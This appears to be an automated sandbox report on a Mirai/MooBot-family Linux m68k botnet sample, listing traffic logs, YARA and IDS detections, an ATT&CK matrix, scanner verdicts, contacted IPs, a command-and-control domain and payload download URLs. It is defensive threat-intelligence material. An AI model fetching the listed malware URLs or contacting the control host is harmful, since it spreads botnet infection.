Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43308 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38186 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52134 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37840 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44888 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37400 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53184 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54540 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40044 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47020 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47972 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43308 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44850 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59784 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46358 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59034 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46976 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57152 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46442 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59000 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44176 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60404 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32812 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43384 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35790 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59404 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51860 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51914 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42938 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35354 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36730 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57552 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33794 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48496 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54142 -> 37215

Source: /tmp/ts2d2a5oFa.elf (PID: 5437)

Queries kernel information via 'uname':

Jump to behavior

Source: ts2d2a5oFa.elf, 5437.1.0000564720a69000.0000564720aee000.rw-.sdmp	Binary or memory string: GV!/etc/qemu-binfmt/m68k
Source: ts2d2a5oFa.elf, 5437.1.00007ffdec493000.00007ffdec4b4000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/ts2d2a5oFa.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ts2d2a5oFa.elf
Source: ts2d2a5oFa.elf, 5437.1.00007ffdec493000.00007ffdec4b4000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: ts2d2a5oFa.elf, 5437.1.0000564720a69000.0000564720aee000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: ts2d2a5oFa.elf, type: SAMPLE
Source: Yara match	File source: 5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: ts2d2a5oFa.elf, type: SAMPLE
Source: Yara match	File source: 5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ts2d2a5oFa.elf PID: 5437, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: ts2d2a5oFa.elf, type: SAMPLE
Source: Yara match	File source: 5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ts2d2a5oFa.elf PID: 5437, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Yara detected Gafgyt

Source: Yara match	File source: ts2d2a5oFa.elf, type: SAMPLE
Source: Yara match	File source: 5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: ts2d2a5oFa.elf, type: SAMPLE
Source: Yara match	File source: 5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ts2d2a5oFa.elf PID: 5437, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: ts2d2a5oFa.elf, type: SAMPLE
Source: Yara match	File source: 5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ts2d2a5oFa.elf PID: 5437, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ts2d2a5oFa.elf	53%	ReversingLabs	Linux.Trojan.Mirai
ts2d2a5oFa.elf	56%	Virustotal		Browse
ts2d2a5oFa.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
vector.mineheaven.org	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://purenetworks.com/HNAP1/	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://15.235.203.214/bolonetwork.x86	100%	Avira URL Cloud	malware
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://15.235.203.214/bolonetwork.mips	100%	Avira URL Cloud	malware
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://15.235.203.214/bolonetwork.mips	0%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://purenetworks.com/HNAP1/	2%	Virustotal		Browse
http://15.235.203.214/bolonetwork.x86	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vector.mineheaven.org	15.235.203.214	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:52869/picdesc.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	ts2d2a5oFa.elf	false	URL Reputation: safe URL Reputation: safe	unknown
http://15.235.203.214/bolonetwork.mips	ts2d2a5oFa.elf	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://purenetworks.com/HNAP1/	ts2d2a5oFa.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://15.235.203.214/bolonetwork.x86	ts2d2a5oFa.elf	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	ts2d2a5oFa.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
173.27.163.58	unknown	United States	30036	MEDIACOM-ENTERPRISE-BUSINESSUS	false
83.7.166.71	unknown	Poland	5617	TPNETPL	false
67.47.25.233	unknown	United States	6621	HNS-DIRECPCUS	false
41.32.21.232	unknown	Egypt	8452	TE-ASTE-ASEG	false
95.244.217.208	unknown	Italy	3269	ASN-IBSNAZIT	false
95.32.184.232	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
5.84.60.100	unknown	Italy	24608	WINDTRE-ASIT	false
129.194.130.183	unknown	Switzerland	559	SWITCHPeeringrequestspeeringswitchchEU	false
112.145.92.48	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
95.220.187.50	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
88.248.47.172	unknown	Turkey	9121	TTNETTR	false
41.58.216.207	unknown	Nigeria	36923	SWIFTNG-ASNNG	false
36.114.86.56	unknown	China	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
157.157.64.45	unknown	Iceland	6677	ICENET-AS1IS	false
157.30.60.2	unknown	United States	8968	BT-ITALIAIT	false
115.129.139.74	unknown	Australia	133612	VODAFONE-AS-APVodafoneAustraliaPtyLtdAU	false
88.188.103.1	unknown	France	12322	PROXADFR	false
88.79.128.133	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
157.86.95.213	unknown	Brazil	21612	FUNDACAOINSTITUTOOSWALDOCRUZBR	false
125.120.144.197	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
66.47.100.178	unknown	United States	7029	WINDSTREAMUS	false
14.75.42.249	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
68.158.254.75	unknown	United States	7018	ATT-INTERNET4US	false
51.24.132.201	unknown	United States	2686	ATGS-MMD-ASUS	true
53.36.133.3	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
77.100.231.19	unknown	United Kingdom	5089	NTLGB	false
86.80.250.83	unknown	Netherlands	1136	KPNKPNNationalEU	false
41.43.150.11	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.78.123.21	unknown	Central African Republic	22351	INTELSAT-1US	false
186.237.213.15	unknown	Brazil	263020	MEGANETPROVEDORINTERNETLTDABR	false
221.112.159.9	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
60.98.106.3	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
167.27.86.196	unknown	United States	7838	USAAUS	false
135.122.21.177	unknown	United States	18676	AVAYAUS	false
9.210.57.209	unknown	United States	3356	LEVEL3US	false
197.154.215.123	unknown	Ethiopia	37133	airtel-tz-asTZ	false
74.110.194.108	unknown	United States	701	UUNETUS	false
95.155.49.253	unknown	Montenegro	8585	INTERNET-CGME	false
218.56.110.157	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
62.103.234.11	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	true
87.78.66.161	unknown	Germany	8422	NETCOLOGNEDE	false
58.155.62.193	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
12.239.69.46	unknown	United States	7018	ATT-INTERNET4US	false
159.188.70.129	unknown	United States	34058	LIFECELL-ASUA	false
200.151.2.187	unknown	Brazil	7738	TelemarNorteLesteSABR	true
88.46.140.50	unknown	Italy	3269	ASN-IBSNAZIT	false
75.35.125.59	unknown	United States	7018	ATT-INTERNET4US	false
112.158.248.139	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
146.225.232.1	unknown	United States	25400	TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO	false
27.243.16.95	unknown	Taiwan; Republic of China (ROC)	9674	FET-TWFarEastToneTelecommunicationCoLtdTW	false
145.138.80.26	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
44.200.165.216	unknown	United States	14618	AMAZON-AESUS	false
197.138.239.203	unknown	Kenya	36914	KENET-ASKE	false
95.20.48.78	unknown	Spain	12479	UNI2-ASES	false
181.151.64.56	unknown	Colombia	26611	COMCELSACO	false
200.1.79.134	unknown	Colombia	10753	LVLT-10753US	false
130.25.53.121	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
197.149.160.135	unknown	South Africa	37438	GijimaZA	false
88.102.73.7	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
157.27.45.45	unknown	Italy	137	ASGARRConsortiumGARREU	false
216.162.251.174	unknown	United States	11559	RSA-BEDFORDUS	false
169.248.151.242	unknown	United States	47024	THE-METROHEALTH-SYSTEMUS	false
197.165.171.206	unknown	Egypt	24863	LINKdotNET-ASEG	false
1.190.106.28	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
187.191.10.12	unknown	Mexico	22884	TOTALPLAYTELECOMUNICACIONESSADECVMX	false
143.116.171.100	unknown	United States	10599	MCKESSONUS	false
157.197.153.21	unknown	Korea Republic of	6619	SAMSUNGSDS-AS-KRSamsungSDSIncKR	false
41.169.97.165	unknown	South Africa	36937	Neotel-ASZA	false
206.200.250.248	unknown	United States	14495	ASN-14495US	false
157.77.114.19	unknown	Japan	4678	FINECanonITSolutionsIncJP	false
156.69.190.119	unknown	New Zealand	297	AS297US	false
112.120.216.167	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
202.245.116.123	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
167.112.13.151	unknown	United States	2055	LSU-1US	false
157.37.95.226	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
9.42.128.21	unknown	United States	3356	LEVEL3US	false
190.142.36.222	unknown	Venezuela	21826	CorporacionTelemicCAVE	false
2.24.106.226	unknown	United Kingdom	12576	EELtdGB	true
41.11.140.111	unknown	South Africa	29975	VODACOM-ZA	false
82.77.180.41	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	false
185.73.140.89	unknown	United Kingdom	201478	REDI_TECHTHOMSONREUTERSGB	false
84.80.92.169	unknown	Netherlands	1136	KPNKPNNationalEU	false
193.240.62.93	unknown	United Kingdom	3549	LVLT-3549US	false
59.6.67.144	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
157.198.224.198	unknown	United States	4704	SANNETRakutenMobileIncJP	false
44.123.34.157	unknown	United States	7377	UCSDUS	false
197.12.78.246	unknown	Tunisia	37703	ATLAXTN	false
95.212.219.138	unknown	Egypt	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
123.22.212.91	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
223.36.115.196	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
34.167.129.43	unknown	United States	2686	ATGS-MMD-ASUS	false
141.36.140.1	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
221.121.120.176	unknown	Philippines	9509	DESE-AS-APDepartmentofEducationSkillsandEmploymentAU	false
87.30.155.238	unknown	Italy	3269	ASN-IBSNAZIT	false
112.65.89.208	unknown	China	17621	CNCGROUP-SHChinaUnicomShanghainetworkCN	false
118.68.212.161	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
48.240.84.33	unknown	United States	2686	ATGS-MMD-ASUS	false
41.98.117.105	unknown	Algeria	36947	ALGTEL-ASDZ	false
154.238.207.143	unknown	Egypt	36992	ETISALAT-MISREG	true
193.180.213.243	unknown	Sweden	158	ERI-ASUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
157.157.64.45	C0P3jIgVve.elf	Get hash	malicious	Mirai, Moobot	Browse
51.24.132.201	zxc.x86.elf	Get hash	malicious	Mirai	Browse
157.30.60.2	A4QEF4ZPEf.elf	Get hash	malicious	Mirai	Browse
157.30.60.2	1C1n23or44	Get hash	malicious	Mirai	Browse
41.78.123.21	Aew6gCjRif.elf	Get hash	malicious	Mirai, Moobot	Browse
	bok.mpsl-20230311-0018.elf	Get hash	malicious	Mirai	Browse
	RASeSG4oKm	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
vector.mineheaven.org	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	15.235.203.214
vector.mineheaven.org	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	15.235.203.214

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HNS-DIRECPCUS	jklarm	Get hash	malicious	Unknown	Browse	67.142.252.24
	FcMd5XxxZ0.elf	Get hash	malicious	Mirai	Browse	184.53.201.147
	j980HN1yJw.elf	Get hash	malicious	Unknown	Browse	67.142.165.197
	XNP1BNVNqi.elf	Get hash	malicious	Mirai	Browse	174.32.142.140
	SR9qYL1hLF.elf	Get hash	malicious	Mirai, Moobot	Browse	72.170.255.158
	pk5zYdkgga.elf	Get hash	malicious	Mirai, Moobot	Browse	97.72.18.251
	LEpsypIZxU.elf	Get hash	malicious	Mirai, Moobot	Browse	72.170.40.212
	zBTMXp2T4y.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	72.168.115.68
	YVjmPLIKXj.elf	Get hash	malicious	Mirai	Browse	67.143.195.170
	Q08dqv9CHC.elf	Get hash	malicious	Mirai	Browse	67.47.240.183
TPNETPL	92.249.48.47-skid.ppc-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	178.56.149.180
	92.249.48.47-skid.x86_64-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	79.191.149.209
	92.249.48.47-skid.mips-2024-07-20T09_04_16.elf	Get hash	malicious	Mirai, Moobot	Browse	212.244.109.221
	TWzzHuqCOF.elf	Get hash	malicious	Mirai	Browse	83.29.8.177
	Qa5qvgWyUn.elf	Get hash	malicious	Mirai	Browse	37.225.6.223
	jklarm	Get hash	malicious	Unknown	Browse	188.47.148.74
	arm.elf	Get hash	malicious	Mirai	Browse	79.185.39.235
	botx.mips.elf	Get hash	malicious	Mirai	Browse	83.14.219.143
	XfStyH0fNY.elf	Get hash	malicious	Mirai	Browse	217.97.173.146
	botx.arm.elf	Get hash	malicious	Mirai	Browse	178.43.108.176
MEDIACOM-ENTERPRISE-BUSINESSUS	GU7Uk4pAQw.elf	Get hash	malicious	Unknown	Browse	173.27.151.18
	CWf1KQWSFg.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	173.24.194.239
	jxnRJIvUKz.elf	Get hash	malicious	Mirai	Browse	173.27.163.31
	RDEHNTKF1V.elf	Get hash	malicious	Mirai, Moobot	Browse	173.26.16.116
	AlKRN3v4DY.elf	Get hash	malicious	Mirai	Browse	173.28.75.219
	DRKi1Olgjp.elf	Get hash	malicious	Mirai, Moobot	Browse	173.31.99.179
	LtUstWWE4Y.elf	Get hash	malicious	Unknown	Browse	173.18.183.250
	i82HF8QQwf.elf	Get hash	malicious	Mirai	Browse	173.16.179.250
	Hj8k38lJRF.elf	Get hash	malicious	Mirai	Browse	173.19.173.121
	VapIQOTGj7.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	173.31.99.181
TE-ASTE-ASEG	92.249.48.47-skid.arm7-2024-07-20T09_04_19.elf	Get hash	malicious	Mirai, Moobot	Browse	154.181.133.20
	GU7Uk4pAQw.elf	Get hash	malicious	Unknown	Browse	102.42.85.208
	jklarm	Get hash	malicious	Unknown	Browse	197.34.115.143
	arm.elf	Get hash	malicious	Mirai	Browse	156.220.115.175
	botx.mips.elf	Get hash	malicious	Mirai	Browse	196.219.72.229
	93.123.85.50-mips-2024-07-17T09_21_42.elf	Get hash	malicious	Mirai	Browse	197.55.181.94
	1yBFfYi5Do.elf	Get hash	malicious	Unknown	Browse	41.38.200.57
	5Jan3SztHt.elf	Get hash	malicious	Unknown	Browse	156.222.105.91
	gw3yTM2uiZ.elf	Get hash	malicious	Mirai	Browse	102.44.214.167
	2ta71O8iWY.elf	Get hash	malicious	Mirai	Browse	156.214.15.152

Process:	/tmp/ts2d2a5oFa.elf
File Type:	data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.307714802597438
Encrypted:	false
SSDEEP:	3:TgwxUjELAjqpWOJn:TgwpEQ
MD5:	822719B9BFE76A98CC2945BB23EF99D6
SHA1:	8E21D3BFC169C773E91F6F92895A9BD55FB5F4FC
SHA-256:	C80A4DC5E58064EC1AAD4EFC97EF25FD602362E1F7CB40BC427ECC8468177B62
SHA-512:	1C4D13116093A92F0BDB95887FA9B47DE9C425763BBABE68578948E26B96D09F0653D00E7818775B853BB999000045316EFEB99F864315437E07F3CD6C944D76
Malicious:	false
Reputation:	low
Preview:	/tmp/ts2d2a5oFa.elf./tmp/owfrxsjybl

/tmp/qemu-open.MSi0nE (deleted)

Download File

Process:	/tmp/ts2d2a5oFa.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.9219280948873623
Encrypted:	false
SSDEEP:	3:TgwxUjELA3:TgwpG
MD5:	ED5E425C8E7111219F82F9F776F0ABC6
SHA1:	39C4DFBEE4B0A3EA66DBD3C23E699C0305BA6944
SHA-256:	14FE0CDCBB00D405E676440A69F569091F787D87FF92CE8F9F2E3F86902B0599
SHA-512:	170B20C5508E8503AA380345A858ED5E999B6F07CBD3D870035F6432A75D89E30F5AE7B22C6D9DAA82FB336DFAC0F4CDD3E895E322054A73F27854AF5D983965
Malicious:	false
Reputation:	low
Preview:	/tmp/ts2d2a5oFa.elf.

/tmp/qemu-open.qY7zvD (deleted)

Download File

Process:	/tmp/ts2d2a5oFa.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.9219280948873623
Encrypted:	false
SSDEEP:	3:TgwxUjELA3:TgwpG
MD5:	ED5E425C8E7111219F82F9F776F0ABC6
SHA1:	39C4DFBEE4B0A3EA66DBD3C23E699C0305BA6944
SHA-256:	14FE0CDCBB00D405E676440A69F569091F787D87FF92CE8F9F2E3F86902B0599
SHA-512:	170B20C5508E8503AA380345A858ED5E999B6F07CBD3D870035F6432A75D89E30F5AE7B22C6D9DAA82FB336DFAC0F4CDD3E895E322054A73F27854AF5D983965
Malicious:	false
Reputation:	low
Preview:	/tmp/ts2d2a5oFa.elf.

Static File Info

General

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.923634795586486
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	ts2d2a5oFa.elf
File size:	181'568 bytes
MD5:	5c7d99c71f2d1bbce41424c99f428ed2
SHA1:	c2c3be77d904b466fc9c70dc5224872159192663
SHA256:	30f0ba9adc6f1932b6fb80cffc5f35a58cd75a80f7c3fcb06d7cfbce9ebe3799
SHA512:	ec4756cfe7cf85a8863c9086bc0906d8d92fcc8ef680f89fb68b763b2d10a528581b4c55043d2dad1d0b7e019c096a5b90c166be17285dbd501ab8033687b96c
SSDEEP:	3072:tOxOLUOi3RDuJGrWiyLypWMAH8EchNm5VPjbiBLQOi11xdz:MxOYOiBVyLgW/cxNmyLQ11xdz
TLSH:	5D044AD7F800CDBEF81AE33648270905B130B7E611925B377397797BAD3A0991927E86
File Content Preview:	.ELF.......................D...4.........4. ...(......................z...z....... .......z4...4...4..I<...t...... .dt.Q............................NV..a....da...@DN^NuNV..J9...pf>"y...d QJ.g.X.#....dN."y...d QJ.f.A.....J.g.Hy..z0N.X........pN^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	181168
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
